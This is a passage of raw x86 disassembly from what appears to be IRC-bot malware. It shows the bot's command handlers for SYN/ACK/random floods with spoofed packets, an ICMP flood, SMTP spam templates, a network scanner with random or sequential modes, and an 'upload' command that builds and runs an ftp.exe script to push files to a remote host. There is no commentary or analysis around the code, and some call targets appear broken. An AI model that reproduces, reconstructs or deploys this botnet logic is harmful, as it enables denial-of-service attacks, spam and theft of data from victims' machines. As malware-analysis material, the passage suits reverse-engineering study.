		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CB5C4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB6D8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB6D4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB654
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CB6A4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		push	esi
		call	dword_4CB6EC
		call	dword_4CB5AC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42B0D4


loc_406CD0:				; CODE XREF: sub_401ACD+2E83j
					; sub_401ACD+4667j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDC:				; CODE XREF: sub_401ACD+248Cj
		add	esp, 0Ch


loc_406CDF:				; CODE XREF: sub_401ACD+4585j
					; sub_401ACD+6654j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406D00
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_406D00:				; CODE XREF: sub_401ACD+29B3j
					; sub_401ACD+2A06j ...
		mov	esi, [ebp+arg_24]


loc_406D03:				; CODE XREF: sub_401ACD+68F3j
					; sub_401ACD+78E3j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D17:				; CODE XREF: sub_401ACD+50ADj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D41
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E9


loc_406D41:				; CODE XREF: sub_401ACD+525Bj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DC
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406D6F:				; CODE XREF: sub_401ACD+507Fj
					; sub_401ACD+5096j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		push	offset unk_42B08C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_406DD4:				; CODE XREF: sub_401ACD+52CDj
					; sub_401ACD+52E4j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406F00
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E71
		mov	eax, offset aNormal ; "Normal"


loc_406E71:				; CODE XREF: sub_401ACD+539Dj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42B048
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset word_413E36
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_406EEF


loc_406ED9:				; CODE XREF: sub_401ACD+5420j
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2670EC7h
		nop
		jmp	short loc_406ED9
; ---------------------------------------------------------------------------


loc_406EEF:				; CODE XREF: sub_401ACD+540Aj
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42B010
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406F00:				; CODE XREF: sub_401ACD+5318j
		push	offset unk_42AFD8


loc_406F05:				; CODE XREF: sub_401ACD+2019j
					; sub_401ACD+202Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_406F18:				; CODE XREF: sub_401ACD+503Aj
					; sub_401ACD+5051j ...
		cmp	dword_4CB744, ebx
		jnz	loc_407027
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42AF90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset byte_413285
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407016


loc_407000:				; CODE XREF: sub_401ACD+5547j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2670EC7h
		nop
		jmp	short loc_407000
; ---------------------------------------------------------------------------


loc_407016:				; CODE XREF: sub_401ACD+5531j
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42AF58
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407027:				; CODE XREF: sub_401ACD+5451j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_407042:				; CODE XREF: sub_401ACD+500Cj
					; sub_401ACD+5023j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42AF04
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713C


loc_4070C5:				; CODE XREF: sub_401ACD+561Cj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A5
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070ED
		cmp	eax, ebx
		jnz	short loc_40710C
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C5
		jmp	short loc_407145
; ---------------------------------------------------------------------------


loc_4070ED:				; CODE XREF: sub_401ACD+560Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AECC


loc_4070F6:				; CODE XREF: sub_401ACD+5681j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4072E9
; ---------------------------------------------------------------------------


loc_40710C:				; CODE XREF: sub_401ACD+5611j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AE98
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h


loc_40713C:				; CODE XREF: sub_401ACD+55F6j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E9


loc_407145:				; CODE XREF: sub_401ACD+561Ej
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AE64
		jmp	short loc_4070F6
; ---------------------------------------------------------------------------


loc_407150:				; CODE XREF: sub_401ACD+4FC7j
					; sub_401ACD+4FDEj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B5
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BB
; ---------------------------------------------------------------------------


loc_4071B5:				; CODE XREF: sub_401ACD+56D7j
		mov	[ebp+var_C70], ebx


loc_4071BB:				; CODE XREF: sub_401ACD+56E6j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42AE1C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset byte_413411
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40725E


loc_40724C:				; CODE XREF: sub_401ACD+578Fj
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407279
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_40724C
; ---------------------------------------------------------------------------


loc_40725E:				; CODE XREF: sub_401ACD+577Dj
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42ADE4


loc_40726A:				; CODE XREF: sub_401ACD+4E32j
					; sub_401ACD+62BFj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407279:				; CODE XREF: sub_401ACD+4E16j
					; sub_401ACD+5785j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	[ebp+var_4]


loc_407286:				; CODE XREF: sub_401ACD+22DFj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A9
; ---------------------------------------------------------------------------


loc_407299:				; CODE XREF: sub_401ACD+4F99j
					; sub_401ACD+4FB0j
		push	0Bh
		call	sub_40B33F
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407455
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ADA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h


loc_4072E9:				; CODE XREF: sub_401ACD+526Ej
					; sub_401ACD+563Aj ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		push	4
		push	esi
		call	sub_416909
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407325
		push	esi
		push	offset unk_42AD7C
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_407325:				; CODE XREF: sub_401ACD+584Bj
		nop
		call	near ptr 269095Dh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5C0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F4
		push	offset unk_42AD0C
		jmp	short loc_4073F9
; ---------------------------------------------------------------------------


loc_4073F4:				; CODE XREF: sub_401ACD+591Ej
		push	offset unk_42ACDC


loc_4073F9:				; CODE XREF: sub_401ACD+5925j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407422
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_407422:				; CODE XREF: sub_401ACD+5937j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD


loc_40742E:				; CODE XREF: sub_401ACD+5986j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416909
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742E
; ---------------------------------------------------------------------------


loc_407455:				; CODE XREF: sub_401ACD+57E6j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748E
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748E:				; CODE XREF: sub_401ACD+59B6j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749B
		mov	[ebp+var_36C], ecx


loc_40749B:				; CODE XREF: sub_401ACD+59C6j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BD
		mov	[ebp+var_368], eax


loc_4074BD:				; CODE XREF: sub_401ACD+59E8j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431B00, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750C
		mov	edi, offset dword_431B00


loc_4074D4:				; CODE XREF: sub_401ACD+5A21j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F2
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D4
		jmp	short loc_40750C
; ---------------------------------------------------------------------------


loc_4074F2:				; CODE XREF: sub_401ACD+5A17j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431B00[ecx]
		mov	[ebp+var_370], ecx


loc_40750C:				; CODE XREF: sub_401ACD+5A00j
					; sub_401ACD+5A23j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751E
		push	offset unk_42ACA8
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40751E:				; CODE XREF: sub_401ACD+5A45j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407559
		cmp	byte ptr [edi],	23h
		jz	short loc_407559
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407633
; ---------------------------------------------------------------------------


loc_407559:				; CODE XREF: sub_401ACD+5A5Aj
					; sub_401ACD+5A5Fj
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757B
		push	offset unk_42AC74
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40757B:				; CODE XREF: sub_401ACD+5A92j
					; sub_401ACD+5A9Aj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB5F8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762D
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407621


loc_4075FF:				; CODE XREF: sub_401ACD+5B52j
		cmp	eax, ebx
		jz	short loc_407621
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FF


loc_407621:				; CODE XREF: sub_401ACD+5B30j
					; sub_401ACD+5B34j
		mov	[ebp+var_344], 1
		jmp	short loc_407633
; ---------------------------------------------------------------------------


loc_40762D:				; CODE XREF: sub_401ACD+5B0Aj
		mov	[ebp+var_344], ebx


loc_407633:				; CODE XREF: sub_401ACD+5A87j
					; sub_401ACD+5B5Ej
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407684


loc_407671:				; CODE XREF: sub_401ACD+5BDAj
		push	esi


loc_407672:				; CODE XREF: sub_401ACD+5BC4j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AF
; ---------------------------------------------------------------------------


loc_407684:				; CODE XREF: sub_401ACD+5BA2j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407693
		cmp	byte ptr [eax],	23h
		jnz	short loc_407693
		push	eax
		jmp	short loc_407672
; ---------------------------------------------------------------------------


loc_407693:				; CODE XREF: sub_401ACD+5BBCj
					; sub_401ACD+5BC1j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407671
		mov	[ebp+var_3F4], bl


loc_4076AF:				; CODE XREF: sub_401ACD+5BB5j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C1
		mov	eax, offset aSequential	; "Sequential"


loc_4076C1:				; CODE XREF: sub_401ACD+5BEDj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AC0C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33D
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40774F


loc_407739:				; CODE XREF: sub_401ACD+5C80j
		cmp	[ebp+var_340], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_407739
; ---------------------------------------------------------------------------


loc_40774F:				; CODE XREF: sub_401ACD+5C6Aj
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42ABD4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407760:				; CODE XREF: sub_401ACD+4F6Bj
					; sub_401ACD+4F82j
		push	[ebp+arg_10]
		call	sub_40AAFA
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AB84
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset word_40C75A
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407855


loc_40783F:				; CODE XREF: sub_401ACD+5D86j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2670EC7h
		nop
		jmp	short loc_40783F
; ---------------------------------------------------------------------------


loc_407855:				; CODE XREF: sub_401ACD+5D70j
		call	near ptr 2680932h
		nop
		push	eax
		push	offset unk_42AB48
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407866:				; CODE XREF: sub_401ACD+4F2Ej
					; sub_401ACD+4F45j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E5A8[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42AB3C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A73
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E390[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E5A8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A36
; ---------------------------------------------------------------------------


loc_40795E:				; CODE XREF: sub_401ACD+4F00j
					; sub_401ACD+4F17j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E5A8[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
